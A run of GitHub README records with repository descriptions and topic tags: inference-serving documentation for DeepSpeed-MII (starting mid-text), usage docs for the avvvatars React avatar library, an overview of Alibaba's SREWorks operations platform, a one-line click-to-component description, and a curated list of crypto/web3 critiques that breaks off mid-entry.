minimize latency and maximize throughput. # Supported Models MII currently supports over 20,000 models across eight popular model architectures. We plan to add additional models in the near term, if there are specific model architectures you would like supported please [file an issue](https://github.com/microsoft/DeepSpeed-MII/issues) and let us know. All current models leverage Hugging Face in our backend to provide both the model weights and the model's corresponding tokenizer. For our current release we support the following model architectures: model family | size range | ~model count ------ | ------ | ------ [falcon](https://huggingface.co/models?other=falcon) | 7B - 180B | 300 [llama](https://huggingface.co/models?other=llama) | 7B - 65B | 19,000 [llama-2](https://huggingface.co/models?other=llama-2) | 7B - 70B | 900 [mistral](https://huggingface.co/models?other=mistral) | 7B | 6,000 [mixtral (MoE)](https://huggingface.co/models?other=mixtral) | 8x7B | 1,100 [opt](https://huggingface.co/models?other=opt) | 0.1B - 66B | 1,300 [phi-2](https://huggingface.co/models?other=phi) | 2.7B | 200 [qwen](https://huggingface.co/models?other=qwen) | 7B - 72B | 200 ## MII Legacy Model Support MII Legacy APIs support over 50,000 different models including BERT, RoBERTa, Stable Diffusion, and other text-generation models like Bloom, GPT-J, etc. For a full list please see our [legacy supported models table](mii/legacy/#supported-models-and-tasks). # Getting Started with MII DeepSpeed-MII allows users to create non-persistent and persistent deployments for supported models in just a few lines of code. - [Installation](#installation) - [Non-Persistent Pipeline](#non-persistent-pipeline) - [Persistent Deployment](#persistent-deployment) ## Installation The fasest way to get started is with our [PyPI release of DeepSpeed-MII](https://pypi.org/project/deepspeed-mii/) which means you can get started within minutes via: ```bash pip install deepspeed-mii ``` For ease of use and significant reduction in lengthy compile times that many projects require in this space we distribute a pre-compiled python wheel covering the majority of our custom kernels through a new library called [DeepSpeed-Kernels](https://github.com/microsoft/DeepSpeed-Kernels). We have found this library to be very portable across environments with NVIDIA GPUs with compute capabilities 8.0+ (Ampere+), CUDA 11.6+, and Ubuntu 20+. In most cases you shouldn't even need to know this library exists as it is a dependency of DeepSpeed-MII and will be installed with it. However, if for whatever reason you need to compile our kernels manually please see our [advanced installation docs](https://github.com/microsoft/DeepSpeed-Kernels#source). ## Non-Persistent Pipeline A non-persistent pipeline is a great way to try DeepSpeed-MII. Non-persistent pipelines are only around for the duration of the python script you are running. The full example for running a non-persistent pipeline deployment is only 4 lines. Give it a try! ```python import mii pipe = mii.pipeline("mistralai/Mistral-7B-v0.1") response = pipe(["DeepSpeed is", "Seattle is"], max_new_tokens=128) print(response) ``` The returned `response` is a list of `Response` objects. We can access several details about the generation (e.g., `response[0].prompt_length`): - `generated_text: str` Text generated by the model. - `prompt_length: int` Number of tokens in the original prompt. - `generated_length: int` Number of tokens generated. - `finish_reason: str` Reason for stopping generation. `stop` indicates the EOS token was generated and `length` indicates the generation reached `max_new_tokens` or `max_length`. If you want to free device memory and destroy the pipeline, use the `destroy` method: ```python pipe.destroy() ``` ### Tensor parallelism Taking advantage of multi-GPU systems for greater performance is easy with MII. When run with the `deepspeed` launcher, tensor parallelism is automatically controlled by the `--num_gpus` flag: ```bash # Run on a single GPU deepspeed --num_gpus 1 mii-example.py # Run on multiple GPUs deepspeed --num_gpus 2 mii-example.py ``` ### Pipeline Options While only the model name or path is required to stand up a non-persistent pipeline deployment, we offer customization options to our users: **`mii.pipeline()` Options**: - `model_name_or_path: str` Name or local path to a [HuggingFace](https://huggingface.co/) model. - `max_length: int` Sets the default maximum token length for the prompt + response. - `all_rank_output: bool` When enabled, all ranks return the generated text. By default, only rank 0 will return text. Users can also control the generation characteristics for individual prompts (i.e., when calling `pipe()`) with the following options: - `max_length: int` Sets the per-prompt maximum token length for prompt + response. - `min_new_tokens: int` Sets the minimum number of tokens generated in the response. `max_length` will take precedence over this setting. - `max_new_tokens: int` Sets the maximum number of tokens generated in the response. - `ignore_eos: bool` (Defaults to `False`) Setting to `True` prevents generation from ending when the EOS token is encountered. - `top_p: float` (Defaults to `0.9`) When set below `1.0`, filter tokens and keep only the most probable, where token probabilities sum to &ge;`top_p`. - `top_k: int` (Defaults to `None`) When `None`, top-k filtering is disabled. When set, the number of highest probability tokens to keep. - `temperature: float` (Defaults to `None`) When `None`, temperature is disabled. When set, modulates token probabilities. - `do_sample: bool` (Defaults to `True`) When `True`, sample output logits. When `False`, use greedy sampling. - `return_full_text: bool` (Defaults to `False`) When `True`, prepends the input prompt to the returned text ## Persistent Deployment A persistent deployment is ideal for use with long-running and production applications. The persistent model uses a lightweight GRPC server that can be queried by multiple clients at once. The full example for running a persistent model is only 5 lines. Give it a try! ```python import mii client = mii.serve("mistralai/Mistral-7B-v0.1") response = client.generate(["Deepspeed is", "Seattle is"], max_new_tokens=128) print(response) ``` The returned `response` is a list of `Response` objects. We can access several details about the generation (e.g., `response[0].prompt_length`): - `generated_text: str` Text generated by the model. - `prompt_length: int` Number of tokens in the original prompt. - `generated_length: int` Number of tokens generated. - `finish_reason: str` Reason for stopping generation. `stop` indicates the EOS token was generated and `length` indicates the generation reached `max_new_tokens` or `max_length`. If we want to generate text from other processes, we can do that too: ```python client = mii.client("mistralai/Mistral-7B-v0.1") response = client.generate("Deepspeed is", max_new_tokens=128) ``` When we no longer need a persistent deployment, we can shutdown the server from any client: ```python client.terminate_server() ``` ### Model Parallelism Taking advantage of multi-GPU systems for better latency and throughput is also easy with the persistent deployments. Model parallelism is controlled by the `tensor_parallel` input to `mii.serve`: ```python client = mii.serve("mistralai/Mistral-7B-v0.1", tensor_parallel=2) ``` The resulting deployment will split the model across 2 GPUs to deliver faster inference and higher throughput than a single GPU. ### Model Replicas We can also take advantage of multi-GPU (and multi-node) systems by setting up multiple model replicas and taking advantage of the load-balancing that DeepSpeed-MII provides: ```python client = mii.serve("mistralai/Mistral-7B-v0.1", replica_num=2) ``` The resulting deployment will load 2 model replicas (one per GPU) and load-balance incoming requests between the 2 model instances. Model parallelism and replicas can also be combined to take advantage of systems with many more GPUs. In the example below, we run 2 model replicas, each split across 2 GPUs on a system with 4 GPUs: ```python client = mii.serve("mistralai/Mistral-7B-v0.1", tensor_parallel=2, replica_num=2) ``` The choice between model parallelism and model replicas for maximum performance will depend on the nature of the hardware, model, and workload. For example, with small models users may find that model replicas provide the lowest average latency for requests. Meanwhile, large models may achieve greater overall throughput when using only model parallelism. ### RESTful API MII makes it easy to setup and run model inference via RESTful APIs by setting `enable_restful_api=True` when creating a persistent MII deployment. The RESTful API can receive requests at `http://{HOST}:{RESTFUL_API_PORT}/mii/{DEPLOYMENT_NAME}`. A full example is provided below: ```python client = mii.serve( "mistralai/Mistral-7B-v0.1", deployment_name="mistral-deployment", enable_restful_api=True, restful_api_port=28080, ) ``` --- 📌 **Note:** While providing a `deployment_name` is not necessary (MII will autogenerate one for you), it is good practice to provide a `deployment_name` so that you can ensure you are interfacing with the correct RESTful API. --- You can then send prompts to the RESTful gateway with any HTTP client, such as `curl`: ```bash curl --header "Content-Type: application/json" --request POST -d '{"prompts": ["DeepSpeed is", "Seattle is"], "max_length": 128}' http://localhost:28080/mii/mistral-deployment ``` or `python`: ```python import json import requests url = f"http://localhost:28080/mii/mistral-deployment" params = {"prompts": ["DeepSpeed is", "Seattle is"], "max_length": 128} json_params = json.dumps(params) output = requests.post( url, data=json_params, headers={"Content-Type": "application/json"} ) ``` <!-- ### Token Streaming With a persistent deployment, the resulting response text can be streamed back to the client as it is generated. This functionality is useful for chatbot style applications. A simple example of streaming tokens is below: ```python import mii out_tokens = [] def callback(response): print(f"Received: {response.response}") out_tokens.append(response.response) client = mii.serve("mistralai/Mistral-7B-v0.1") client.generate("Deepspeed is", streaming_fn=callback) ``` To enable streaming output, we must provide `streaming_fn` with the prompt. This should be a callable function that acts as a callback and will receive the streaming tokens at they are generated. In the example above, we show a simple function that prints the current token and appends to a final output `out_tokens`. --> ### Persistent Deployment Options While only the model name or path is required to stand up a persistent deployment, we offer customization options to our users. **`mii.serve()` Options**: - `model_name_or_path: str` (Required) Name or local path to a [HuggingFace](https://huggingface.co/) model. - `max_length: int` (Defaults to maximum sequence length in model config) Sets the default maximum token length for the prompt + response. - `deployment_name: str` (Defaults to `f"{model_name_or_path}-mii-deployment"`) A unique identifying string for the persistent model. If provided, client objects should be retrieved with `client = mii.client(deployment_name)`. - `tensor_parallel: int` (Defaults to `1`) Number of GPUs to split the model across. - `replica_num: int` (Defaults to `1`) The number of model replicas to stand up. - `enable_restful_api: bool` (Defaults to `False`) When enabled, a RESTful API gateway process is launched that can be queried at `http://{host}:{restful_api_port}/mii/{deployment_name}`. See the [section on RESTful APIs](#restful-api) for more details. - `restful_api_port: int` (Defaults to `28080`) The port number used to interface with the RESTful API when `enable_restful_api` is set to `True`. **`mii.client()` Options**: - `model_or_deployment_name: str` Name of the model or `deployment_name` passed to `mii.serve()` Users can also control the generation characteristics for individual prompts (i.e., when calling `client.generate()`) with the following options: - `max_length: int` Sets the per-prompt maximum token length for prompt + response. - `min_new_tokens: int` Sets the minimum number of tokens generated in the response. `max_length` will take precedence over this setting. - `max_new_tokens: int` Sets the maximum number of tokens generated in the response. - `ignore_eos: bool` (Defaults to `False`) Setting to `True` prevents generation from ending when the EOS token is encountered. - `top_p: float` (Defaults to `0.9`) When set below `1.0`, filter tokens and keep only the most probable, where token probabilities sum to &ge;`top_p`. - `top_k: int` (Defaults to `None`) When `None`, top-k filtering is disabled. When set, the number of highest probability tokens to keep. - `temperature: float` (Defaults to `None`) When `None`, temperature is disabled. When set, modulates token probabilities. - `do_sample: bool` (Defaults to `True`) When `True`, sample output logits. When `False`, use greedy sampling. - `return_full_text: bool` (Defaults to `False`) When `True`, prepends the input prompt to the returned text # Contributing This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.opensource.microsoft.com. When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA. This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [opencode@microsoft.com](mailto:opencode@microsoft.com) with any additional questions or comments. # Trademarks This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow [Microsoft's Trademark & Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks/usage/general). Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.

MII makes low-latency and high-throughput inference possible, powered by DeepSpeed.

deep-learning,inference,pytorch

nusu/avvvatars

<div align="center"> <a href="https://avvvatars.com"><img src="https://github.com/nusu/avvvatars/raw/main/thumbnail.png" alt="Avvvatars" height="464"></a> </div> # Avvvatars Beautifully crafted unique avatar placeholder for your next react project Lightweight and customizable ❤️ https://user-images.githubusercontent.com/1702215/158075475-c23004ab-827a-45ad-bdba-aee29ac5b582.mp4 [Live Demo 🧩](https://avvvatars-demo-nusualabuga.vercel.app/) | [Website 🧘‍♀️](https://avvvatars.com) Built by [Nusu Alabuga](https://twitter.com/nusualabuga) and [Oguz Yagiz Kara](https://twitter.com/oguzyagizkara) 🙏 Special thanks to [Monika Michalczyk](https://www.monikamichalczyk.com/) for awesome shapes 🙏 ## Features - 🌈 **40 Colors** - Colors are so on point that most of the projects can use it without changing it - 💠 **60 Shapes** - Beautifully crafted shapes that are unique to your user with color combination - 🆎 **Text or Shapes** 🔸 - Use letters (eg. JD for John Doe) or unique shapes - 🤠 **Unique to user** - Generated avatars are unique to the string that you provide, it means if you pass janedoe@gmail.com you will always get the same avatar - 🕊 **Lightweight** - less than 20kb compressed + gzipped - ✍️ **Customizable** - use shadows, change size, provide alternative text to display ## Installation **With yarn** ```jsx yarn add avvvatars-react ``` **With npm** ```jsx npm install avvvatars-react ``` ## Getting Started Import Avvvatars to your app, then use it anywhere you want. ```jsx import Avvvatars from 'avvvatars-react' export default function MyAvatar() { return ( <Avvvatars value="best_user@gmail.com" /> ) } ``` ## Customization ### `value: string` This is required for plugin to work, each value generates a random avatar to unique to this value, so each time plugin renders, you will get the same results. ```jsx <Avvvatars value="best_user@gmail.com" /> ``` ### `displayValue?: string` Override default text by providing displayValue for example if you provide `value=”best_user@gmail.com”` the character output will be the first 2 letters of value which is “BE”, if you pass `displayValue=”BU”` you can override it to **BU** ```jsx <Avvvatars value="best_user@gmail.com" displayValue="BE" /> ``` ### `style?: character | shape (default character)` Use shape or character as avatar. ```jsx <Avvvatars value="best_user@gmail.com" style="character" /> ``` ### `size?: number (default 32)` Override default size (32px) by providing a number. ```jsx <Avvvatars value="best_user@gmail.com" size={32} /> ``` ### `shadow?: boolean (default false)` Enable shadow around the avatar. ```jsx <Avvvatars value="best_user@gmail.com" shadow={false} /> ``` ### `radius?: number` (default [size](https://github.com/nusu/avvvatars#size-number--default-32)) Override the radius of the avatar, it takes `size` by default to always turn it to a circle ```jsx <Avvvatars value="best_user@gmail.com" radius={10} /> ``` ### `border?: boolean (default false)` Toggle border ```jsx <Avvvatars value="best_user@gmail.com" border={false} /> ``` ### `borderSize?: number (default 2)` Override border width ```jsx <Avvvatars value="best_user@gmail.com" borderSize={2} /> ``` ### `borderColor?: string (default #fff)` Override border color ```jsx <Avvvatars value="best_user@gmail.com" borderColor="#fff" /> ``` ## Figma If you want to access design files to change something or customize it to your own, use our [Figma File](https://www.figma.com/community/file/1084861895116393858/Avvvatars.com---Open-Source-React-UI-Avatar-Library-(Community)) ## License MIT

Beautifully crafted unique avatar placeholder for your next react project

react,placeholder-avatars,avatar-generator,avatar-placeholder,avatar,profile-picture

alibaba/SREWorks

<p align="center"> <img src="https://sreworks.oss-cn-beijing.aliyuncs.com/logo/logo.png" width="120"> </p> <h1 align="center"> SREWorks </h1> <p align="center"><b> Cloud Native DataOps & AIOps Platform </b></p> <p align="center"> <a href="./LICENSE"><img src="https://img.shields.io/github/license/alibaba/sreworks" /></a> <img src="https://img.shields.io/github/repo-size/alibaba/sreworks" /> </p> <p align="center"> <a href="https://www.yuque.com/sreworks-doc/docs" target="_blank">Documentation</a> <a href="https://sreworks.opensource.alibaba.com/" target="_blank">Website</a> </p> --- <p align="center"> English | <a href="README-CN.md">中文<a/> </p> ## Introduction SREWorks: Alibaba Cloud Big Data SRE team's cloud-native operation and maintenance (O&M) platform was born out of nearly a decade of business precipitation, using the thinking of "Big Data and AI" for O&M work（we call it DataOps and AIOps）, to help more practitioners use DataOps and AIOps to do a efficient O&M work. Google suggested a job title of SRE (Site Reliability Engineer) in 2003. It consists of a team of software engineers and system administrators who place a premium on O & M personnel's development skills, forcing them to devote less than half of their time to daily tasks and the other half to the creation of automation technologies to decrease labor needs. SREWorks focuses on the application-centric one-stop "cloud native" and "DataOps and AIOps" O & M SaaS management suite as an engineering practice for the Alibaba Cloud Big Data SRE team's SRE concept. It enables companies to achieve the delivery and maintenance of cloud-native apps and resources via two primary capabilities: enterprise application and resource management and O & M development. Alibaba Cloud Big Data SRE team has been working hard to practice the "DataOps and AIOps" concept, the industry's DataOps (data operation and maintenance) first proposed by the team, is naturally close to big data and AI, is very familiar with Big Data & AI technology, and has the big data and AI computing power resources on demand, has been working hard to practice the "DataOps and AIOps" concept, the industry's DataOps Standard O & M warehouses, data O & M platforms, and operation centers are among the end-to-end DataOps closed-loop engineering methods in the SREWorks. There are many excellent open-source O & M platforms that reflect cloud-native scenarios in the traditional IT O&M field. There are currently no systematic O & M solutions available. With the rise of the cloud-native era, the Alibaba Cloud Big Data SRE team will open-source its O & M platform, SREWorks, in the hopes of providing O & M engineers with an out-of-the-box experience.  ## Getting Started - [Quick Install](/paas/frontend/docs/docs/rr5g10.md) - [Installation from source code](/paas/frontend/docs/docs/ek2tysaxo4d9108i.md) - [Document](https://www.yuque.com/sreworks-doc/docs/) - [Online Demo](https://wj.qq.com/s2/10565748/53da/) ## Roadmap [ROADMAP](ROADMAP.md) ## Contributing We'd love to accept your patches and contributions to SREWorks. Please refer to [CONTRIBUTING](CONTRIBUTING.md) for a few small guidelines you need to follow. ## Community - Wechat Chat Group (*Chinese*): Broker wechat to add you into the user group. <img src="/paas/frontend/app/src/assets/icons/weixin.jpg" width="100" /> - Dingtalk Chat Group (*Chinese*): 35853026 <img src="/paas/frontend/app/src/assets/icons/ding.jpg" width="100" /> ## Code of Conduct Contributions to the SREWorks are expected to adhere to our [Code of Conduct](CODE_OF_CONDUCT.md).

Cloud Native DataOps & AIOps Platform | 云原生数智运维平台

kubernetes,sre,application,saas,cloudnative,dataops,aiops,oam,engineering,maintenance

ericclemmons/click-to-component

Option+Click React components in your browser to instantly open the source in VS Code

life-itself/web3

# Awesome sensemaking for crypto/web3 ## 👉 April 2022 [Website for the web3 sensemaking project](https://web3.lifeitself.org/) 👈 ## 🎉 Nov 2022 [Full guide to web3 & crypto including evaluation of claims pro and con](https://web3.lifeitself.org/guide/) 🎉 Awesome rigorous evaluation of crypto/web3, etc. Contributions are welcome. ## Critique ### General * [The problem with NFTs](https://www.youtube.com/watch?v=YQ_xWvX1n9g) - 2022-01-21 - by Dan Olson (Documentary) 📺 [👉 Highly recommended 👈] * [Three things Web3 should fix in 2022](https://www.theverge.com/2022/1/28/22906010/web3-nft-internet-history-video-platformer) a response to The Problem with NFTs - 28 Jan 2022 * Stephen Diehl series - https://www.stephendiehl.com/blog.html * [The Case Against Crypto](https://www.stephendiehl.com/blog/against-crypto.html) - December 31, 2021 - [Blockchainism](https://www.stephendiehl.com/blog/blockchainism.html) - December 11, 2021 - [Web3 is Bullshit](https://www.stephendiehl.com/blog/web3-bullshit.html) - December 4, 2021 - [The Internet's Casino Boats](https://www.stephendiehl.com/blog/casino-boats.html) - December 1, 2021 - [The Token Disconnect](https://www.stephendiehl.com/blog/disconnect.html) - November 27, 2021 - [The Handwavy Technobabble Nothingburger](https://www.stephendiehl.com/blog/nothing-burger.html) - November 24, 2021 - [Ice-Nine for Markets](https://www.stephendiehl.com/blog/ice-nine.html) - November 23, 2021 - [The Tinkerbell Griftopia](https://www.stephendiehl.com/blog/tinkerbell.html) - November 19, 2021 - [Decentralized Woo Hoo](https://www.stephendiehl.com/blog/decentralized-woo.html) - November 16, 2021 - [The Intellectual Incoherence of Cryptoassets](https://www.stephendiehl.com/blog/crypto-absurd.html) - November 7, 2021 - [On Unintentional Scams](https://www.stephendiehl.com/blog/crypto-scams.html) - July 23, 2021 - [How to Destroy Bitcoin](https://www.stephendiehl.com/blog/destroy-bitcoin.html) - July 13, 2021 - [The Non-Innovation of Cryptocurrency](https://www.stephendiehl.com/blog/non-innovation.html) - July 7, 2021 - [The Oncoming Ransomware Storm](https://www.stephendiehl.com/blog/ransomware.html) - May 11, 2021 - [Et tu, Signal?](https://www.stephendiehl.com/blog/signal.html) - April 7, 2021 - [The Political Case for a Blanket Cryptocurrency Ban](https://www.stephendiehl.com/blog/banbitcoin.html) - March 30, 2021 - [Bitcoin: The Postmodern Ponzi](https://www.stephendiehl.com/blog/ponzi.html) - February 27, 2021 - [The Crypto Chernobyl](https://www.stephendiehl.com/blog/chernobyl.html) - February 10, 2021 - [Gamestop, Bitcoin and the Commoditization of Populist Rage](https://www.stephendiehl.com/blog/gamestop.html) - February 3, 2021 * [Today on Sick Sad World: How The Cryptobros Have Fallen](https://www.jwz.org/blog/2022/01/today-on-sick-sad-world-how-the-cryptobros-have-fallen/) - 2022-01-04 by Jamie Zawinski (legendary coder, co-founder of Mozilla etc.) * [Web3 First Impressions](https://moxie.org/2022/01/07/web3-first-impressions.html) - 2022-01-07 Moxie Marlinspike, co-founder of Signal etc. * [Bitcoin, Currencies, and Fragility by Nassim Taleb - 27 Jun 2021](https://arxiv.org/abs/2106.14204) - highly critical paper by author Black Swan etc. * https://watershed.co.uk/studio/news/2021/12/03/case-against-crypto * [The European Money and Finance Forum - The encrypted threat: Bitcoin’s social cost and regulatory responses](https://web.archive.org/web/20220107084533/https://www.suerf.org/docx/f_88b3febc5798a734026c82c1012408f5_38771_suerf.pdf) - Jan 2022. A comprehensive study by SUERF - The European Money and Finance Forum that details the net negative effects of bitcoin to society. * [The Third Web](https://tante.cc/2021/12/17/the-third-web/) - 2021-12-17 - long critical essay including detailed history by [Tante](https://twitter.com/tante) * [Tante's Web3/NFT FAQ](https://tante.cc/2022/02/09/tantes-blockchain-web3-faq/) * https://rufuspollock.com/2016/07/02/reflections-on-the-blockchain/ - 2016-07-02 - by Rufus Pollock (mainly a critique of early DAOs and techno-solutionism) * [Web3 takes trust, too](https://www.bloomberg.com/opinion/articles/2022-01-10/web3-takes-trust-too) - 2022-01-10 by Matt Levine on Bloomberg.com * [Revolution Now! With Peter Joseph | Bitcoin and Financialization](https://youtu.be/bsghxd1cdeA) - May 21, 2021 * [The Web3 Fraud](https://www.usenix.org/publications/loginonline/web3-fraud) - 2021-12-16 by Nicholas Weaver on usenix.com * Molly White series - https://blog.mollywhite.net/blockchain/ * [Blockchain-based systems are not what they say they are](https://blog.mollywhite.net/blockchains-are-not-what-they-say/) * [It's not still the early days](https://blog.mollywhite.net/its-not-still-the-early-days/) * [Abuse and harassment on the blockchain](https://blog.mollywhite.net/abuse-and-harassment-on-the-blockchain/) * [Anonymous cryptocurrency wallets are not so simple](https://blog.mollywhite.net/anonymous-crypto-wallets/) * [Cryptocurrency off-ramps, and the pressure towards centralization](https://blog.mollywhite.net/off-ramps/) * [Cryptocurrency’s Robinhood effect](https://blog.mollywhite.net/cryptocurrencys-robinhood-effect/) * [Abuse on the blockchain – Guest lecture at Stanford University](https://www.youtube.com/watch?v=hXBZ-BXfCSY) * [Against Web3 and Faux-Decentralization](https://soatok.blog/2021/10/19/against-web3-and-faux-decentralization/) - 2021-10-19 by Soatok * [The technological case against Bitcoin and blockchain](https://lukeplant.me.uk/blog/posts/the-technological-case-against-bitcoin-and-blockchain/) - 2022-03-05 by Luke Plant * [The Case Against Crypto](https://www.watershed.co.uk/studio/news/2021/12/03/case-against-crypto) - 2021-12-03 by Martin O'Leary * [The Case Against Bitcoin](https://bariweiss.substack.com/p/the-case-against-bitcoin?s=r) - 2021-05-14 by Michael W. Green. A portfolio manager discusses the case against bitcoin from a financial and geopolitical perspective. * [The Register: The dark equation of harm versus good means blockchain’s had its day](https://www.theregister.com/2021/12/06/the_dark_equation_of_harm/) - 2021-12-06 * [Blockchains and Cryptocurrencies: Burn It With Fire](https://www.youtube.com/watch?v=xCHab0dNnj4) - 2018-04-20 by Nicholas Weaver 📺 Nicholas Weaver is a staff researcher with the International Computer Science Institute (ICSI) and lecturer in EECS, where he teaches machine structures and computer security. He earned his Ph.D. in computer science from Berkeley in 2003 and joined ICSI to study network security and measurement. "The entire cryptocurrency and blockchain ecology is rife with frauds, criminalities, and tulip-mania style hype and needs to be properly disposed of into the ashes of history. A “blockchain” is just a horribly inefficient append-only file which costs a literal fortune to secure without actually providing meaningful distributed trust, while cryptocurrencies are provably inferior than actual currencies for legal real world transactions. Beyond the sheer uselessness have emerged a whole host of bad ideas, ranging from the “put a bird^H^H^H^H blockchain on it” hype to unregistered (and mostly fraudulent) securities with “Initial Coin Offerings” to an invitation for massive theft in the form of “smart” contracts." * [Ross Anderson et al: Bitcoin Redux: crypto crime, and how to tackle it](https://www.lightbluetouchpaper.org/2018/06/01/bitcoin-redux-crypto-crime-and-how-to-tackle-it/) ([full paper](https://weis2018.econinfosec.org/wp-content/uploads/sites/5/2018/05/WEIS_2018_paper_38.pdf))- 2018-06-01 - Anderson is a Professor of Security Engineering at the University Cambridge. Bitcoin Redux explains what’s going wrong in the world of cryptocurrencies. The bitcoin exchanges are developing into a shadow banking system, which do not give their customers actual bitcoin but rather display a "balance" and allow them to transact with others. However if Alice sends Bob a bitcoin, and they’re both customers of the same exchange, it just adjusts their balances rather than doing anything on the blockchain. This is an e-money service, according to European law, but is the law enforced? Not where it matters. We’ve been looking at the details. * [Ross Anderson: Why Bitcoin is Not Cash](https://www.youtube.com/watch?v=p9HH_dFcoLc) - 2018-04-10 - 📺 walks through why bitcoin is not cash and the complex legal questions it would need to deal with if it wanted to be. * [Ross Anderson: Tracing Stolen Bitcoin](https://www.youtube.com/watch?v=UlLN0QERWBs) - 2018-03-23 - 📺 * [Simon Wardley: A Spoiler for the Future of Bitcoin](https://blog.gardeviance.org/2013/11/a-spoiler-for-future-bitcoin.html) - 2013-11-27 - "As you can guess, I'm not a fan of bitcoin. If left unchecked then I find it has the potential to undermine the importance of Government which is actually not good for competition and not good for the market. I hope none of the above happens and would rather see bitcoin disappear in a puff of history." (NB: he predicts massive appreciation in bitcoin and is concerned how it can undermine government and tax revenue.) * Kai Stinchcombe series that discusses whether blockchain can solve various real world use-cases better than traditional technologies - [Kai Stinchcombe: Ten years in, nobody has come up with a use for blockchain](https://hackernoon.com/ten-years-in-nobody-has-come-up-with-a-use-case-for-blockchain-ee98c180100) - 2017-12-23 - "Each purported use case — from payments to legal documents, from escrow to voting systems—amounts to a set of contortions to add a distributed, encrypted, anonymous ledger where none was needed. What if there isn’t actually any use for a distributed ledger at all? What if, ten years after it was invented, the reason nobody has adopted a distributed ledger at scale is because nobody wants it?" - [Kai Stinchcombe: Blockchain is not only crappy technology but a bad vision for the future](https://medium.com/@kaistinchcombe/decentralized-and-trustless-crypto-paradise-is-actually-a-medieval-hellhole-c1ca122efdec) - 2018-05-04 - "Blockchain is not only crappy technology but a bad vision for the future. Its failure to achieve adoption to date is because systems built on trust, norms, and institutions inherently function better than the type of no-need-for-trusted-parties systems blockchain envisions. That’s permanent: no matter how much blockchain improves it is still headed in the wrong direction." * [Cory Doctorow: When crypto-exchanges go broke, you'll lose it all](https://pluralistic.net/2022/02/03/liquidation-preference/#we-live-in-a-society) - 2022-02-03. Why state backed money is a good thing (a feature not a bug). > If you've spent much time around cryptocurrency people, you've probably heard a rant or two about "sound money" and the need to "depoliticize money." This is a foundation of blockchainism: the belief that money is born separate from states, and states invade on the private realm when they "meddle" in the money system. > > There are at least two serious problems with this ideology. First, it's plain wrong on the historical facts. Money did not emerge from barter systems among people. Money was and is a product of state. > > But even if you stipulate that money didn't originate among private markets there's another serious historical problem with "sound money." ... It's this: central banks didn't emerge to usurp the private sector's control over money. Central banks were created because without them, finance was subject to wild, terrifying, ruinous boom/bust cycles. What's more, without a central bank, money was subject to naked political meddling, which central banks (sometimes) moderated. * Internet pioneer/Silicon Valley legend Tim O'Reilly on Web3: - [Why it’s too early to get excited about Web3](https://www.oreilly.com/radar/why-its-too-early-to-get-excited-about-web3/) - 2021-12-13 - ["Get ready for the crash"](https://www.cbsnews.com/news/cryptocurrency-nft-blockchain-web3-tim-oreilly/) - CBS Money Watch - 2022-02-09 - [Crypto and NFTs are "Pretty Serious Speculative Bubble"](https://decrypt.co/92676/internet-guru-tim-oreilly-crypto-nfts-serious-speculative-bubble) - 2022-02-10 * [David Rosenthal: Can We Mitigate Cryptocurrencies' Externalities?](https://blog.dshr.org/2022/02/ee380-talk.html) - 2022-02-09. Having built a decentralized consensus system using Proof-of-Work (http://dx.doi.org/10.1145/945445.945451) the author has the technical knowledge to explain the design faults and limitations of permissionless blockchain systems, as well as highlighting the economic and environmental issues. Summary of critique: > * That the externalities I describe don't exist. You'll have a hard time proving that the waste of electricity and hardware, and the crime wave, are imaginary. > * That although the externalities do exist, the benefits of decentralization outweigh them. The problem here is that since the systems are not actually decentralized, we get the externalities but don't get the benefits. > * That although the externalities do exist, and the systems aren't dencentralized, they're making so much money that we shouldn't worry. The problem here is that the amount of actual money you can get out of a cryptocurrency equals the amount of actual money that has been put in, minus the actual costs of mining. So the big picture is that although there may be winners, in aggregate the system loses money. * [Economies of Scale in Peer-to-Peer Networks](https://blog.dshr.org/2014/10/economies-of-scale-in-peer-to-peer.html) - 2014-10-07. Network effects lead to centralization in p2p (e.g. Bitcoin) and no good way to mitigate this. * [Charlie Stross: Why I want Bitcoin to Die in Fire](https://www.antipope.org/charlie/blog-static/2013/12/why-i-want-bitcoin-to-die-in-a.html) - 2013-12 * [The Maltese Falcon](https://privatebank.jpmorgan.com/content/dam/jpm-wm-aem/global/pb/en/insights/eye-on-the-market/the-maltese-falcoin.pdf) - critique of bitcoin and financial properties of crypto assets from the CIO of JP Morgan bank. 2021-02-10 * [Vivaldi CEO: Why Vivaldi will never create ThinkCoin](https://vivaldi.com/blog/why-vivaldi-will-never-create-thinkcoin/) - 2022-01-13 - Jon von Tetzchner: “if you look beyond the hype, you’ll find nothing more than a pyramid scheme posing as currency.” * [Centralizing Control: Why Bitcoin is Dangerous](https://salbayat.org/centralizing-control-why-bitcoin-is-dangerous/) - 2022-04-02 - Sal Bayat: “Democratic governance is fundamentally incompatible with existing cryptocurrency systems as they can only represent the interests of those in control of the system.” ### Economists * Stephanie Kelton [Cryptocurrency and Fiat Money](https://www.youtube.com/watch?v=84wTEf9Acik) - 2017-12-23 * Richard Thaler [Economics Nobel prize winner, Richard Thaler: “The market that looks most like a bubble to me is Bitcoin and its brethren”](https://econews.pt/2018/01/22/economics-nobel-prize-winner-richard-thaler-the-market-that-looks-most-like-a-bubble-to-me-is-bitcoin-and-its-brethren/) - 2018-01-22 * Various ['Only good for drug dealers': More Nobel prize winners snub bitcoin](https://finance.yahoo.com/news/good-drug-dealers-nobel-prize-winners-snub-bitcoin-184903784.html?ref=hackernoon.com) - 2018-04-27 * Robert Shiller [The Old Allure of New Money](https://www.project-syndicate.org/commentary/cryptocurrencies-scientific-narrative-by-robert-j--shiller-2018-05?barrier=accesspay) - 2018-05-21 * Abhijit Banerjee [Nobel Prize Winning Economist Abhijit Banerjee: Is Blockchain the Key to Financial Inclusion?](https://blockchain.news/news/nobel-prize-winning-economist-abhijit-banerjee-is-blockchain-the-key-to-financial-inclusion) - 2020-01-20 * Steve Keen [Cryptocurrencies, Debt, and the 